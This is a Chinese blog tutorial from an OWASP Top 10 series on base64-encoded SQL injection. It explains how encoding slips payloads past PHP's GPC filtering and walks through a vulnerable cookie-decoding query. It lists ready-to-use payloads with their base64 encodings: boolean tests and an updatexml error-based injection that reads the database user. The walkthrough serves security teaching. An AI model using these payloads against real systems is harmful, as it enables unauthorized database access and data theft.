SQL 注入漏洞（十三）base64注入

Aτθ

已于 2022-06-21 23:31:19 修改

阅读量1.6k

点赞数 1

分类专栏： OWASP TOP10 文章标签： sql php web安全

于 2022-06-21 23:08:35 首次发布

本文链接：https://blog.youkuaiyun.com/weixin_51730169/article/details/125399811

版权

OWASP TOP10 专栏收录该内容

51 篇文章

订阅专栏

本文介绍了Base64编码在SQL注入中的应用，如何通过编码绕过GPC拦截，并展示了利用Base64编码进行SQL注入的测试步骤。文中提到的代码示例展示了如何解码Cookie中的数据并将其拼接到SQL查询中，从而可能导致安全漏洞。通过注入测试和利用报错注入，可以探测并获取敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一、base64编码注入

base64 一般用于数据编码进行传输，例如邮件，也用于图片加密存储在网页中。数据编码的好处是，防止数据丢失，也有不少网站使用
base64 进行数据传输，如搜索栏 或者 id 接收参数有可能使用 base64 处理传递的参数。在 php 中 base64_encode()函数对字符串
进行 base64 编码也可以进行解码。
编码解码流程：
1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入，可以绕过 gpc 注入拦截，因为编码过后的字符串不存在特殊字符。编码过后的字符串，在程序中重新被解码，再拼接成
SQL 攻击语句，再执行，从而形式 SQL 注入。

二、代码分析

从存在漏洞的代码中，首先判断是否有 POST 的 submit 参数过来，如果有使用$_COOKIE['uname']获取 cookis 传过来的账号，再
拼接到 SQL 带入查询。
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进行解码，所以$cookee 传递过来的数据必须先进
行编码，否则解码不了会导致出错。

在这里插入图片描述

三、base64 编码进行注入

1、测试注入点

首先观察网站是否存在 base64 编码的数据，例如传递的id值，搜索模块。
如果存在类似==等，可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==

本次测试的页面是 cookie ，所以需要 cookie 提交，而且有括号需要闭合。

原字符串                     base64 编码
admin') and 1=1--      YWRtaW4nKSBhbmQgMT0xLS0gIA==
admin') and 1=2--      YWRtaW4nKSBhbmQgMT0yLS0gIA==

在这里插入图片描述

第一次提交页面返回存在 admin，第二次提交没有 admin，两个页面返回的结果不相同，所以存在 SQL 注入。

2、查询敏感信息

本代码存在 mysqli_error 函数，所以可以里利用报错注入再进一步获取敏感信息。
admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- 
进行 base64 编码
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
提交获取敏感信息。

在这里插入图片描述